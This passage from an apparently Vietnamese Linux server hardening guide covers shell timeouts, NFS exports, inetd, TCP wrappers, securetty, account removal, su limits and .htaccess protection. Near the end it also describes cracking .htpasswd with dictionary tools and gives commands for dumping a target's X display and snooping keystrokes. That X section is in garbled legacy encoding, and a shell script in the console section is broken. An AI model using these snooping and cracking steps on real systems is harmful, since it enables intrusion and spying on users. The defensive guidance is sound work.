rất dở. Đặt thời gian time-out login cho tài khoản root: Mặc dù được lưu ý là không nên vào hệ thống với account là "root" và logout khi không làm việc trên máy server, tuy nhiên vẫn có những người quản trị hệ thống vẫn còn lưu lại màn hình login như "root" hay quên ra khỏi hệ thống (logout) sau khi kết thúc công việc của họ hoặc rời khỏi các máy trạm không cùng với tài khoản nào. Để giải quyết vấn đề này ta tạo một bash shell tự động logout sau khi không được dùng trong một khoảng thời gian. Để thực hiện điều đó, bạn phải đặc biến đặc biệt của Linux được đặt tên là "TMOUT" tới thời gian tính bằng giây không có thao tác nào được nhập vào trước khi logout. Chỉnh sửa tập tin profile của bạn "vi /etc/profile" và thêm dòng sau vào một nơi nào đó bên dưới dòng chứa "HISTFILESIZE=" trong tập tin này: TMOUT=7200 Giá trị mà chúng ta nhập vào cho biến "TMOUT=" là được tính bằng giây và biểu thị 2 giờ (60*60=3600*2=7200 giây). Điều quan trọng là hãy ghi chú rằng nếu bạn quyết định đặt dòng trên vào trong tập tin "/etc/profile", khi đó việc tự động logout sau 2 giờ nếu không có các hành động nào sẽ được áp dụng cho tất cả mọi người sử dụng trên hệ thống. Nếu bạn thích điều khiển việc tự động logout chỉ cho một user cụ thể nào đó bạn có thể đặt biến này trong tập tin riêng ".bashrc" của họ. Sau khi tham số này đã được đặt lại trên hệ thống, bạn phải logout và login lại lần nữa (như root) cho việc thay đổi có tác dụng. 3.2.2 Tập tin "/etc/exports" Nếu bạn đang xuất ra các hệ thống tập tin dùng dịch vụ NFS, thì bảo đảm cấu hình tập tin "/etc/exports" với hạn chế truy cập tối đa. Điều này có nghĩa là không dùng các ký tự đại diện (wild-cards), không cho phép root truy xuất ghi, và chỉ mount dưới dạng chỉ đọc khi có thể.Soạn thảo tập tin exports (vi /etc/exports) và thêm vào: Lấy một ví dụ: /dir/to/export host1.mydomain.com(ro,root_squash) /dir/to/export host2.mydomain.com(ro,root_squash) Trong đó "dir/to/export" là thư mục mà bạn muốn xuất ra (export), host#.mydomain.com là máy được phép login và thư mục, tùy chọn nghĩa là mount chỉ đọc và tùy chọn là không cho phép root truy xuất ghi trong thư mục này.Để việc thay đổi này có tác dụng bạn sẽ cần chạy lệnh sau trên máy trạm của bạn: [root@deep] # /usr/sbin/exportfs -a Ghi chú: Bạn nên nhớ rằng, mặc định có một dịch vụ NFS có sẵn trên hệ thống có thể có một rủi ro về bảo mật. 3.2.3 Vô hiệu hóa việc truy cập chương trình console Trong một môi trường an toàn nơi mà chúng ta chắc chắn rằng console được bảo mật bởi vì các mật khẩu cho BIOS và LILO đã được th._.iết lập và tất cả các công tắc nguồn và reset của hệ thống đã bị vô hiệu hóa, nó có thể có lợi để vô hiệu hóa hoàn toàn tất cả các console-equipvalent truy xuất tới các chương trình như tắt hẳn hệ thống (shutdown), khởi động lại hệ thống (reboot), và treo hệ thống (halt) cho những người sử dụng hợp lệ trên máy server của bạn. Để làm việc này , chạy dòng lệnh sau: [root@deep /]# rm -f /etc/security/console.apps/ Trong đó (servicename> là tên của chương trình mà bạn muốn vô hiệu hóa truy cập console-equivalent. Tuy nhiên, trừ khi bạn dùng xdm, hãy cẩn thận không xóa tập tin xserver hoặc là không ai ngoài root có thể khởi động hệ thống xserver. (Nếu bạn luôn dùng xdm để khởi động xserver, root là người sử dụng duy nhất cần để khởi động X, trong trường hợp này, bạn thật sự muốn xóa tập tin xserver. Như ví dụ sau: [root@deep /]# rm -f /etc/security/console.apps/halt [root@deep /]# rm -f /etc/security/console.apps/poweroff [root@deep /]# rm -f /etc/security/console.apps/reboot [root@deep /]# rm -f /etc/security/console.apps/shutdown [root@deep /]# rm -f /etc/security/console.apps/xserver (nếu xóa bỏ,chỉ root là người có thể khởi động X). Việc này sẽ vô hiệu hóa console-equivalent truy cập tới các chương trình halt, poweroff, reboot và shutdown. Một lần nữa, chương trình xserver chỉ áp dụng khi mà bạn đã cài đặt giao diện Xwindow trên hệ thống của bạn. Ghi chú: Nếu cài đặt theo các bước của chương trình, thì giao diện Xwindow không được cài đặt trên máy server và tất cả các tâpj tin được mô tả sẽ không xuất hiện trong thư mục " / etc / security". do vậy đừng chú ý các bước trên. Vô hiệu hóa tất cả truy cập console Thư viện Linux-PAM được cài đặt mặc định trên hệ thống của bạn cho phép các người quản trị hệ thống chọn cách để các ứng dụng xác nhận những người sử dụng như thế nào, vi dụ như truy cập console. truy cập tập tin và chương trình. Để vô hiệu hóa tất cả các truy cập này cho những người sử dụng, bạn phải đánh dấu # vào đầu tất cả các dòng có tham chiếu tới pam_console.so trong thư mục "/etc/pam.d" (nghĩa là bạn chuyển các dòng đó thành ghi chú (comment line). Đoạn script sau sẽ thực hiện mánh lới một cách tự động. Đăng nhập như "root", tạo tập tin script disabling.sh (gõ disabling.sh) và thêm các dòng sau vào bên trong: # !/bin/sh cd /etc/pam.d for i in * ; do sed '/[^#].*pam_console.so/s/^/#/' foo $$ mv foo $i done Làm script này có thể thực thi với lệnh sau và thi hành nó: [root@deep /]# chmod 700 disabling.sh [root@deep /]# ./disabling.sh Việc này sẽ đánh dấu là dòng ghi chú (comment line) lên tất cả các dòng tham chiếu đến "pam_console.so" trong tất cả các tập tin nằm trong thư mục /etc/pamd. Sau khi script được thi hành, có thể xóa nó khỏi hệ thống. 3.2.4 Tập tin "/etc/inetd.conf" Inetd cũng được gọi là "super server", sẽ nạp một chương trình mạng dựa trên một yêu cầu từ một hệ thống mạng. Tập tin "inetd.conf" báo cho inetd biết cổng (port) nào dùng để lắng nghe và server nào khởi động cho mỗi port. Việc đầu tiên cần xem xét là khi mà bạn đặt hệ thống Linux của bạn lên bất kỳ mạng nào thì các dịch vụ (service) nào mà bạn cần đưa ra. Các dịch vụ mà bạn không cần đưa ra nên vô hiệu hóa và gỡ bỏ, như vậy bạn sẽ có rất ít điều lo ngại về nó, và những kẻ tấn công sẽ có ít cơ hội để tìm kiếm lỗ hổng trên hệ thống của bạn. Nhìn vào tập tin "/etc /inetd.conf" để xem những dịch vụ nào mà nó được cung cấp bởi chương trình inetd của bạn. Vô hiệu hóa những gì mà bạn không cần bằng cách thêm một dấu # ở ngay đầu dòng, và sau đó gửi đến tiến trình inetd của bạn một lệnh SIGHUP để cập nhập nó tới tập tin "inetd.conf" hiện hành. Bước 1. Thay đổi các quyền hạn trên tập tin này là 600. [root@deep /]# chmod 600 /etc/inetd.conf Bước 2. Bảo đảm rằng người sở hữu là root. [root@deep /]# stat /etc/inetd.conf File: "/etc/inetd.conf" Size: 2869 Filetype: Regular File Mode: (0600/-rw--------) Uid: ( 0/ root) Gid: ( 0/root) Device: 8,6 Inode: 18219 Links: 1 Access: Web Sep 22 16:24:16 1999(00000.00:10:44) Modify: Mon Sep 20 10:22:44 1999(00002.06:12:16) Change: Mon Sep 20 10:22:44 1999(00002.06:12:16) Bước 3.` Chỉnh sửa tập tin inetd.conf (vi /etc/inetd.conf) và vô hiệu hóa các dịch vụ như sau: ftp, telnet, shell, login, exec, talk, imap, pop-2, finger, auth, v.v.. trừ khi bạn có kế hoạch dùng nó. Nếu nó bị tắt thì nó sẽ bớt rủi ro. #ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a #telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd #shell stream tcp nowait root /usr/sbin/tcpd in.rshd #login stream tcp nowait root /usr/sbin/tcp in.rlogind #exec stream tcp nowait root /usr/sbin/tcpd in.rexecd #comsat dgram udp wait root /usr/sbin/tcpd in.comsat #talk dgram udp wait root /usr/sbin/tcpd in.talkd #ntalk dgram udp wait root /usr/sbin/tcpd in.ntalkd #dtalk stream tcp wait nobody /usr/sbin/tcpd in.dtalkd #finger stream tcp nowait root /usr/sbin/tcpd in.fingerd #cfinger stream tcp nowait root /usr/sbin/tcpd in.cfingerd #systat stream tcp nowait guest /usr/sbin/tcpd /bin/ps -auwwx #netstat stream tcp nowait guest /usr/sbin/tcpd /bin/netstat -f inet #auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -| -e -o # End of inetd.conf Ghi chú: Đừng quên gửi tới tiến trình inetd một tín hiệu SIGHUP (killall -HUP inetd) sau khi thực hiện các thay đổi trên tập tin inetd.conf. Các dịch vụ kích hoạt trên một host được chọn phụ thuộc vào các chức năng mà bạn muốn host cung cấp. Các chức năng có thể hỗ trợ dịch vụ mạng được chọn, các dịch vụ khác được host trên máy tính này, hay việc phát triển và bảo trì của hệ điều hành và các ứng dụng. [root@deep /]# killall -HUP inetd Bước 4: Một biện pháp bảo mật nữa mà bạn có thể áp dụng để bảo mật tập tin "inetd.conf" là đặt nó không thay đổi, dùng lệnh chattr. Để đặt tập tin không thay đổi gì, thi hành lệnh sau: [root@deep /]# chattr +i /etc/inetd.conf Việc này sẽ ngăn chặn bất kỳ sự thay đổi (xảy ra bất ngờ hay trong các trường hợp khác) với tập tin "inetd.conf". Một tập tin với thuộc tính không thay đổi "i" sẽ làm cho tập tin không thể hiệu chỉnh, xóa hay đổi tên, không có mối liên kết nào có thể được tạo cho tập tin này và không dữ liệu nào có thể được ghi đến nó. Chỉ có một người có thể đặt hay xóa thuộc tính này là super-user root. Nếu bạn muốn hiệu chỉnh tập tin inetd.conf bạn sẽ cần phải gỡ bỏ cờ hiệu không được thay đổi : - Để gỡ cờ hiệu không được thay đổi, đơn giản thi hành lệnh sau: [root@deep /]# chattr -i /etc/inetd.conf 3.2.5 TCP_WARPPERS Mặc nhiên Red Hat Linux cho phép tất cả các yêu cầu dịch vụ. Dùng TCP_WARPPERS thực hiện bảo mật các máy server của bạn để chống sự xâm phạm từ bên ngoài thì đơn giản và dễ dàng hơn rất nhiều những gì bạn suy nghĩ. Từ chối tất cả các host bằng cách đặt "ALL:ALL@ALL, PARANOID" trong tập tin "/etc/hosts.deny" và đồng thời liệt kê tường minh danh sách các host đáng tin cậy đã được phép truy cập tới máy của bạn vào trong tập tin "/etc/hosts.allow". Đây là cách cấu hình an toàn tốt nhất. TCP_WRAPPERS được điểu khiển từ hai tập tin và việc tìm kiếm dừng lại ở lần thấy đầu tiên. /etc/hosts.allow /etc/hosts.deny - Quyền truy cập được gán khi một cặp (daemon, client) xứng hợp với một mục trong tập tin /etc/hosts.allow. - Bằng không, quyền truy cập bị từ chối khi một cặp (daemon, client) xứng hợp với một mục trong tập tin /etc/hosts.deny. - Còn lại, quyền truy cập sẽ được gán. Bước 1: Soạn thảo tập tin hosts.deny (vi /etc/hosts.deny) và thêm vào các dòng sau: Access is denied by default. # Deny access to everyone. ALL: ALL@ALL, PARANOID # Matches any host whose name does not # match its address, see bellow Điều này có ý nghĩa cho tất cả các dịch vụ, tất cả các vị trí, do vậy bất kỳ dịch vụ nào đều bị ngăn chặn lại, trừ khi chúng được phép truy cập một cách tường minh bởi các mục trong tập tin allow. Ghi chú: Về tham số "PARANOID"; Nếu có ý định muốn chạy các dịch vụ telnet hoặc ftp trên máy server, đừng quên thêm vào tên máy client và địa chỉ IP trong tập tin " / etc / hosts" trên server hay có thể chờ đợi trong nhiều phút cho việc tìm kiếm DNS tới thời gian time out, trước khi có được một dấu nhắc login. Bước 2: Soạn thảo tập tin hosts.allow (vi /etc/hosts.allow) và giả sử thêm vào dòng sau: # Host được ủy quyền rõ ràng thì được liệt kê trong tập tin allow. # Như ví dụ sau: sshd: 208.164.186.1 gate.openna.com Đối với máy client: 208.164.186.1 là địa chỉ IP và gate.openna.com host của một trong client của bạn được phép dùng dịch vụ sshd. Bước 3" Chương trình tcpdchk là trình kiểm tra cấu hình tcpd wrapper. Nó thăm dò cấu hình tcp wrappepr và báo về tất cả các vấn đề hiện có hay vấn đề tiềm ẩn mà nó tìm ra được. - Sau khi việc cấu hình hoàn tất, chạy chương trình tcpdchk. [root@deep /]# tcpdchk Ghi chú: Các thông điệp lỗi trông giống như thế này: warning: / etc / hosts.allow, line 6: can't verify hostname: gethostbyname(win.openna.com) failed. Nếu nhận kiểu thông điệp lỗi này, hãy kiểm tra trong tập tin cấu hình DNS để biết sự tồn tại của hostname. Đừng để hiển thị các tập tin thông tin hệ thống. Nếu không muốn hiển thị các tập tin thông tin hệ thống khi mọi người log-in từ xa, ta có thể thay đổi tùy chọn telnet trong tập tin "/etc/inetd.conf" trông giống như thế: telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -h Thêm vào cờ hiệu "-h" ở cuối dòng lệnh sẽ cho daemon không hiển thị bất kỳ thông tin hệ thống nào và chỉ hiện dấu nhắc login cho người sử dụng. Mẹo vặt này chỉ cần thiết nếu dùng một telnet daemon trên máy server (khuyên dùng SSH). 3.2.6 Tập tin "/etc/host.conf" Linux sử dụng một thư viện phân giải để lấy một địa chỉ IP tương ứng với một host name. Tập tin "/etc/host.conf" chỉ rõ các tên được phân giải như thế nào. Các mục trong tập tin "etc/host.conf" để bảo các thư viện phân giải các dịch vụ nào cần dùng, và sắp theo thứ tự nào để phân giải các tên. Soạn thảo tập tin host.conf (vi /etc/host.conf) và thêm vào các dòng sau: # Lookup names via DNS first then fall back to /etc/hosts. order bind,hosts # We have machines with multiple IP addresses. multi on # Check for IP address spoofing. nospoof on Tùy chọn order chỉ rõ thứ tự của các dịch vụ. Ví dụ mẫu này chỉ rõ ràng như việc phân giải đầu tiên nên tham khảo các name server để phân giải một tên (name) và sau đó kiểm tra tập tin "/etc/hosts". Để đạt hiệu quả cao và bảo mật tốt hơn thì nên đặt thư viện phân giải theo thứ tự đầu tiên là kiểm tra name server (bind) sau đó tập tin hosts (hosts) cho việc thực thi và bảo mật được tốt hơn trên tất cả các máy server. Dĩ nhiên phải có phần mềm DNS/BIND được cài đặt sẵn hay việc cấu hình sẽ không làm việc. Tùy chọn multi xác định một host trong tập tin "/etc/hosts" có thể có nhiều địa chỉ IP (multiple interface ethN). Các host mà có nhiều hơn một địa chỉ IP được biết đến là multiomed, bởi vì sự hiện diện của nhiều địa chỉ IP bao hàm rằng host có nhiều giao tiếp mạng. Lấy một ví dụ, một Gateway Server sẽ luôn có nhiều địa chỉ IP và phải có tùy chọn này được đặt là ON. Tùy chọn nospoof chỉ rõ hãy cẩn thận không được phép ngụy trang trên máy này. IP-Spoofing là môt thành tích bảo mật chói lọi, nó làm việc bởi các mẹo văt máy tính trong một mối quan hệ đáng tin cậy mà bạn là một người nào đó mà thật sự không phải vậy. Trong loại hình tấn công này, một máy được cài đặt như một server hợp pháp và khi đó sinh ra các kết nối và các loại hoạt động mạng khác tới các hệ thống đầu cuối hợp pháp, các server khác hay các hệ thông lưu trữ dữ liệu lớn. Tùy chọn này phải được đạt ON cho tất cả các loại server. 3.2.7 Tập tin "/etc/services" Các số cổng (port number) được dùng cho các dịch vụ chuẩn được đưa ra trong RFC 1700 "Assigned Numbers". Tập tin "/etc/services" cho phép các chương trình server và client để chuyển đổi tên dịch vụ tới các số port này. Danh sách này thì được lưu giữ trong mỗi host trong tập tin "/etc/services". Chỉ người sử dụng "root" là được phép thay đổi nội dung tập tin này và rất hiếm khi phải chỉnh sửa tập tin "/etc/services" để tạo sự thay đổi kể từ khi nó đã chứa đựng nhiều tên dịch vụ tương ứng tới các số port. Để cải tiến việc bảo mật, chúng ta có thể làm tập tin này trở nên không bị chỉnh sửa (immunize) để ngăn chặn việc xóa hay thêm vào các dịch vụ mà không được ủy quyền. - Để định cho tập tin "/etc/services" không thay đổi, dùng lệnh: [root@deep /]# chattr +i /etc/services 3.2.8 Tập tin "/etc/securetty" Tập tin "/etc/securetty" cho phép bạn chỉ rõ các thiết bị TTY nào mà người sử dụng "root" được phép login vào. Tập tin "/etc/securetty" được đọc bởi chương trình login (thường là "/bin/login"). Định dạng của nó là một danh sách các tên thiết bị tty được phép và đối với tất cả các thứ khác thì được chú giải hoặc không xuất hiện trong tập tin này, đăng nhập với root thì không được phép. Vô hiệu hóa bất kỳ tty mà bạn không cần đến bằng cách đặt dấu chú giải (#) cho chúng (dấu # ở đầu dòng). Chỉnh sửa tập tin securetty (vi /etc/securetty) và đặt dấu chú giải lên các dòng sau: tty1 #tty2 #tty3 #tty4 #tty5 #tty6 #tty7 #tty8 Có nghĩa là root chỉ được phép login vào tty1. Đây là lời khuyên của chúng tôi, cho phép "root" chỉ login vào môt thiết bị tty và dùng lệnh "su" để chuyển sang "root" nếu bạn cần nhiều quyền hơn. Các thiết bị phải log-in như "root" 3.2.9 Các tài khoản đặc biệt: Có một điều quan trọng là cần vô hiệu hóa tất cả các tài khoản mặc định của nhà sản xuất mà không dùng trong hệ thống (một số tài khoản tồn tại mặc nhiên ngay cả khi không cài đặt các dịch vụ liên quan trên máy server). Việc này nên được kiểm tra sau mỗi lần nâng cấp hay cài đặt phần mềm mới. Linux cung cấp các tài khoản này cho các hoạt động hệ thống khác nhau,có thể không cần nếu các dịch vụ không được cài đặt trên hệ thống server. Nếu không cần các tài khoản nào, thì xóa chúng. ta có càng nhiều tài khoản thì việc truy cập hệ thống sẽ dễ dàng hơn. Để xóa người sử dụng trên hệ thống, dùng lệnh: [root@deep /]# userdel username - Để xóa nhóm người sử dụng trên hệ thống của bạn, dùng lệnh: [root@deep /] # groupdel groupname Bước 1: Gõ các lệnh sau trên máy terminal của bạn để xóa các người sử dụng được liệt kê bên dưới: [root@deep /]# userdel adm [root@deep /]# userdel Ip [root@deep /]# userdel sync [root@deep /]# userdel shutdown [root@deep /]# userdel halt [root@deep /]# userdel news [root@deep /]# userdel uucp [root@deep /]# userdel operator [root@deep /]# userdel games (Xóa user này khi không dùng X Window). [root@deep /]# userdel gopher [root@deep /]# userdel ftp (Xóa user này khi không dùng ftp anonymous server). Ghi chú: Mặc định, lệnh "userdel" sẽ không xóa một thư mục home của người sử dụng. Nếu muốn thư mục home của các tài khoản cũng được xóa, thì phải thêm tùy chọn "-r" vào lệnh userdel. Bước 2: Gõ các lệnh sau trên máy terminal để xóa nhóm các người sử dụng được liệt kê bên dưới: [root@deep /]# groupdel adm [root@deep /]# groupdel Ip [root@deep /]# groupdel news [root@deep /]# groupdel uucp [root@deep /]# groupdel games (Xóa group này khi khong dùng X Window). [root@deep /]# groupdel dip [root@deep /]# groupdel ppusers [root@deep /]# groupdel popusers (xóa group này khi không dùng pop server cho email). [root@deep /]# groupdel slipusers Bước 3: Thêm các người sử dụng cần thiết vào hệ thống: [root@deep /]# useradd admin [root@deep /]# passwd admin Bước 4: Bit không thay đổi có thể được dùng để ngăn chặn việc xóa ngẫu nhiên hay ghi chồng lên một tập tin cân được bảo vệ. Nó cũng ngăn chặn một ai đó tạo một biểu tượng liên kết tới tập tin này, mà nó là nguồn tấn công xoay quanh việc xóa "/etc/passwd", "/etc/group" hay "/etc/gshadow". - Để đặt bit không thay đổi trên các mật khẩu và các nhóm tập tin , dùng lệnh sau: [root@deep /[# chattr +i /etc/passwd [root@deep /[# chattr +i /etc/shadow [root@deep /[# chattr +i /etc/group [root@deep /[# chattr +i /etc/gshadow Ghi chú: Trong tương lai, nếu có ý định thêm hay xóa các người sử dụng, tập tin passwd, các nhóm người sử dụng, hay các tập tin group, thì phải gõ bỏ bit không làm thay đổi trên tất cả các tập tin đó, nếu không sẽ không thể thay đổi được gì. Nếu như ta cũng có dự định cài đặt một chương trình RPM sẽ tự động thêm một người sử dụng mới vào các tập tin passwd hay group đã đặt bit không thay đổi, ta sẽ nhận được một thông điệp lỗi suốt quá trình cài đặt, khi không gỡ bỏ bit không làm thay đổi từ các tập tin đó. 3.2.10 Ngăn chặn bất kỳ người sử dụng nào chuyển thành root bằng lệnh "su". Lệnh su cho phép trở thành những người sử dụng tồn tại trên hệ thống, Ví dụ có thể trở thành "root" tạm thời và thi hành các lệnh như một super-user "root". Nếu không muốn bất kỳ ai chuyển thành root hay hạn chế "su" với một số người sử dụng nào đó, ta thêm vào hai dòng như sau vào đầu tập tin cấu hình "su" trong thư mục "/etc/pam.d". Nên giới hạn những người được phép chạy lệnh "su" để thành tài khoản root. Bước 1: Soạn thảo tập tin su (vi /etc/pam.d/su) và thêm vào hai dòng sau vào phía trên đầu tập tin: auth sufficient /lib/security/pam_rootok.so debug auth required /lib/security/pam_wheel.so group=wheel Sau khi thêm vào các dòng trên, tập tin "/etc/pam.d/su" sẽ trông giống như thế này: #%OAM-1.0 auth sufficient /lib/security/pam_rootok.so debug auth required /lib/security/pam_wheel.so group=wheel auth required /lib/security/pam_pwdb.so shadow nullok account required /lib/security/pam_pwdb.so password required /lib/security/pam_cracklib.so password required /lib/security/pam_pwdb.so shadow use_authtok nullok session required /lib/security/pam_pwdb.so session optional /lib/security/pam_xauth.so Có nghĩa là chỉ có những người sử dụng là thành viên của nhóm "wheel" có thể dùng lệnh su chuyển thành root; nó cũng bao gồm logging.Chú ý rằng nhóm "wheel" là một tài khoản đặc biệt trên hệ thống mà cũng có thể được dùng cho mục đích này. Không thể dùng bất kỳ tên nhóm để thực hiện mánh khóe này. Mánh khóe này được kết hợp với việc chỉ rõ các thiết bị TTY nào mà root được phép login vào sẽ cải tiến rất nhiều việc bảo mật trên hệ thống. 3.2.11 Securing Your Files Bảo mật từ cấp độ quyền truy cập file. Khi không muốn sự tò mò từ những người khác, ta có thể tạo file mặt nạ để có quyền bảo mật file tối đa. Tất nhiên việc bảo mật này chỉ có ý nghĩa khi có nhiều hơn một người sử dụng trong hệ thống. Khi có rất nhiều người sử dụng thì chỉ để quyền đọc ghi và không để bất kỳ quyền nào cho các user khác. 3.2.12 Bảo vệ thư mục trên web server Nhiều web servers, trong đó có Apache thường dùng file .htaccess để bảo vệ các thư mục trên web server. Nếu một thư mục nào đó trên web server có lưu file .htaccess, khi duyệt qua thư mục này, web server sẽ popup một hộp thoại yêu cầu nhập username và mật khẩu. Chỉ khi nào nhập vào một username và mật khẩu đúng, ta mới có thể xem được trong thư mục đó có những gì. Danh sách các username và mật khẩu của .htaccess thường được lưu trong file .htpasswd. Tại sao phải dùng dấu chấm ở trước trong tên file '.htaccess'. Các file có tên bắt đầu là một dấu chấm '.' sẽ được các web servers xem như là các file cấu hình. Các file này sẽ bị ẩn đi(hidden) khi bạn xem qua thư mục đã được bảo vệ bằng file .htaccess Bước 1: chuẩn bị username và mật khẩu cho .htaccess [đt@localhost /]# htpasswd -c ./users vicki New password: tyt Re-type new password: tyt Adding password for user vicki -c để tạo file mới Sau khi chạy dòng lệnh trên, trong thư mục hiện tại sẽ xuất hiện file users với nội dung như sau: vicki:JNSQVx3F3/n0c File lưu username và mật khẩu có dạng như sau: : : ... : Password thường được mã hóa bằng thuật toán DES(Data Encryption Standard). DES được dùng rất phổ biến trên Unix/Linux(*nix), đặc biệt là trong các files /etc/passwd hoặc /etc/shadow. DES rất khó bị crack. Ngoài cách encrypt password bằng htpasswd như trên, cũng có thể dùng Perl code sau để encrypt: ... $encpass = &encrypt($password); ... sub encrypt { my($plain) = @_; my(@salt); @salt = ('a'..'z', 'A'..'Z', '0'..'9', '.', '/'); srand(time() ^ ($$ + ($$ << 15)) ); return crypt($plain, $salt[int(rand(@salt))] . $salt[int(rand(@salt))] ); } Bước 2: tạo 1 file .htaccess với nội dung như sau: AuthName "Khu vực cấm" AuthType Basic AuthUserFile /somepaths/users require user vicki # nếu bạn đang dùng Apache Server, hãy thêm các dòng sau vào # để ngăn chặn users download các files .htaccess & .htpasswd Order allow,deny Deny from all Order allow,deny Deny from all AuthName "Khu vực cấm" // tiêu đề của hộp thoại sẽ được popup AuthUserFile /var/www.users // đường dẫn đầy đủ đến file lưu username & mật khẩu require user vicki // danh sách các username được phép Bước 3: tạo 1 thư mục trên web server, chẳng hạn như 'security', upload file .htaccess vào thư mục này, chmod 644 cho file .htaccess và users. Thử upload vài files khác vào 'security' Bước 4: mở trình duyệt web và vào thư mục 'security', sẽ nhận được một hộp thông báo yêu cầu nhập username & password. Thử dùng username=vicki & password=tyt, sẽ thấy được các files trong 'security' directory. Hack .htaccess & .htpasswd 1/ Một số người sơ ý không chmod đúng cho files .htaccess và .htpasswd. Vì vậy hacker có thể dễ dàng download chúng về máy tính của mình. Sau đó hacker tìm một công cụ crack DES bằng tự điển như John the Ripper hoặc CrackJack để crack file .htpasswd 2/ Sử dụng các công cụ hack tự động hacker có thể sử dụng WWWHack ( hoặc Brutus ( để hack các websites được bảo vệ bằng files .htaccess và .htpasswd. Đây là các công cụ tấn công bằng tự điển gọn nhẹ nhưng đa năng, có hổ trợ proxy, rất dễ sử dụng. Tuy nhiên, nếu password quá khó hoặc tốc độ đường truyền của websites không tốt, phải hàng giờ để WWWHack hoặc Brutus hoàn thành nhiệm vụ. WWWHack và Brutus làm việc như thế nào? DES(Data Encryption Standard) dường như rất khó bị crack, chỉ có một cách duy nhất và cũng là dễ nhất là dùng tự điển. WWWHack và Brutuslàm việc gần giống như nhau. Chúng sẽ chọn một password bất kì trong tự điển, sau đó gởi đến website. Nếu nhận được HTML status code 401 - Authorization Required, "Access Denied", "Enter your password again" có nghĩa là password không đúng, chúng sẽ thử lại với một password khác có trong tự điển. Nếu nhận được HTML status code 200 OK, ... có nghĩa là password đúng, hay nói cách khác là đã bị crack. 3.2.13 XWindows Security Motivation / introduction. TÝnh b¶o mËt cña XWindows rÊt kÐm. Trªn mét m¹ng m¸y tÝnh Unix, bÊt cø ai còng cã thÓ kÕt nèi vµ më mét mµn h×nh X, ®äc c¸c có gâ phÝm, chôp tr¹ng th¸i mµn h×nh, ch¹y c¸c øng dông kh«ng ®îc b¶o vÖ...Dï r»ng ®Êy lµ nh÷ng sù viÖc ®­îc c¶nh b¸o nhiÒu trong thÕ giíi b¶o mËt Unix. How open X displays are found. Lµm thÕ nµo ®Ó më mét cöa sæ XWindows tõ xa? NÕu Server kh«ng bÞ Disabled XWindows th× ta chØ viÖc gâ lÖnh: $ xhost + Cô thÓ cã thÓ kÕt nèi ®Õn mét Server ®¬n lÎ víi mµn h×nh XWindows b»ng lÖnh: $ xhost + ZZZ.ZZZ.ZZZ.ZZZ Z lµ ®Þa chØ IP hay Hostname cña Server mµ b¹n Connect. Sù ®iÒu khiÓn truy nhËp cã thÓ ®­îc chÊp nhËn khi ph¸t lÖnh: $ xhost - Trong c©u lÖnh trªn kh«ng cã Host, nh­ng mét kÕt nèi ®Õn local-host cã thÓ ®­îc thiÕt lËp. NÕu Display ch¹y ë tr¹ng th¸i "xhost -". Th× ta ®ang ë tr¹ng th¸i an toµn tõ nh÷ng ch­¬ng tr×nh, còng nh­ h­íng tíi nh÷ng mµn h×nh XWindows ch­a ®­îc b¶o vÖ. B¹n cã thÓ kiÓm tra sù truy nhËp cña mµn h×nh X cña b¹n b»ng c¸ch gâ "xhost" tõ Shell lÖnh. MÆc ®Þnh c¸c Server ch¹y X ®Òu bÞ v« hiÖu ho¸ quyÒn ®iÒu khiÓn truy nhËp. DÔ dµng ph¸t hiÖn ra c¸c Server nµo ®ang ch¹y X b»ng v« sè c¸c Tool trªn Internet (NSS). The localhost problem Ch¹y mµn h×nh X víi sù ®iÒu khiÓn truy nhËp ®­îc cho phÐp bëi lÖnh "xhost -" sÏ b¶o vÖ tõ XOpenDisplay th«ng qua Port 6000, ®ã còng chÝnh lµ c¸ch mµ c¸c Hacker cã thÓ qua mÆt c¸c hÖ thèng b¶o vÖ. NÕu b¹n cã thÓ ®¨ng nhËp vµo môc tiªu cÇn tÊn c«ng, th× b¹n cã thÓ kÕt nèi tíi X cña local-host. C¸ch nµy thËt ®¬n gi¶n, chØ b»ng vµi dßng lÖnh b¹n cã thÓ dump xuèng ®­îc tr¹ng th¸i mµn h×nh X cña Host cÇn tÊn c«ng: $ rlogin target $ xwd -root -display localhost:0.0 > ~/snarfed.xwd $ exit $ xwud -in ~/snarfed.xwd DÜ nhiªn, trong tr­êng hîp nµy b¹n ph¶i cã mét Acc hîp lÖ trªn hÖ thèng cÇn Attack, ph¶i ®¨ng nhËp ®­îc vµo hÖ thèng vµ quan träng lµ hÖ thèng ®ã ph¶i ch¹y X. Ngoµi viÖc Dump mµn h×nh, b¹n cßn cã thÓ run ®­îc c¸c øng dông ko ®­îc b¶o vÖ trªn X Server vµ chôp c¸c có gâ phÝm trªn X Server.... Snooping techniques - dumping windows C¸ch ®¬n gi¶n nhÊt ®Ó chôp, dump vµo c¸c mµn h×nh X tõ c¸c X Server lµ c¸ch sö dông c«ng cô xwd. Xwd: Lµ mét c«ng cô phôc vô viÖc dump xuèng c¸c mµn h×nh X. Nã cho phÐp Xusers chôp l¹i c¸c tr¹ng th¸i cña mµn h×nh X råi l­u d­íi ®Þnh d¹ng ®Æc biÖt. Cöa sæ cÇn chôp sÏ ®­îc lùa chän bëi mét có nhÊn Mouse. Nã cßn cã thÓ chôp ngay c¶ c¸c có gâ bµn phÝm. Mét c«ng cô kh¸c lµ xwud. Ngoµi c¸c tÝnh n¨ng nh xwd nã cßn cã kh¶ n¨ng ®äc c¸c file dump ®­îc l­u gi÷ bëi c¸c ®Þnh d¹ng cña c¸c Tool kh¸c. B©y giê chóng ta cïng xem xÐt dump mµn h×nh X b»ng c¸ch sö dông kÕt hîp: xwd vµ xwud. §Ó dump toµn bé mµn h×nh X tõ mét host ta dïng lÖnh: $ xwd -root localhost:0.0 > file §Ó xem nh÷ng kÕt qu¶ võa thu ®­îc ë trªn chóng ta cÇn ph¶i ®äc nã b»ng lÖnh: $ xwud -in file Nh÷ng cöa sæ Xterm th× h¬i kh¸c. B¹n kh«ng thÓ chØ râ tªn còng nh­ sau ®ã dump nã xuèng. Tuy nhiªn ®Ó dump Xternm b¹n gâ lÖnh: $ xwd -name xterm Toµn bé cöa sæ X vµ Xternm sÏ ®­îc dump xuèng vµ ®äc bëi xwud. Snooping techniques - reading keyboard NÕu cã thÓ kÕt nèi ®Õn mét mµn h×nh. Ta còng cã thÓ log vµo hÖ thèng còng nh­ cã thÓ chép ®­îc nh÷ng có nhÊn phÝm trªn X Server. Mét ch­¬ng tr×nh l­u hµnh trªn 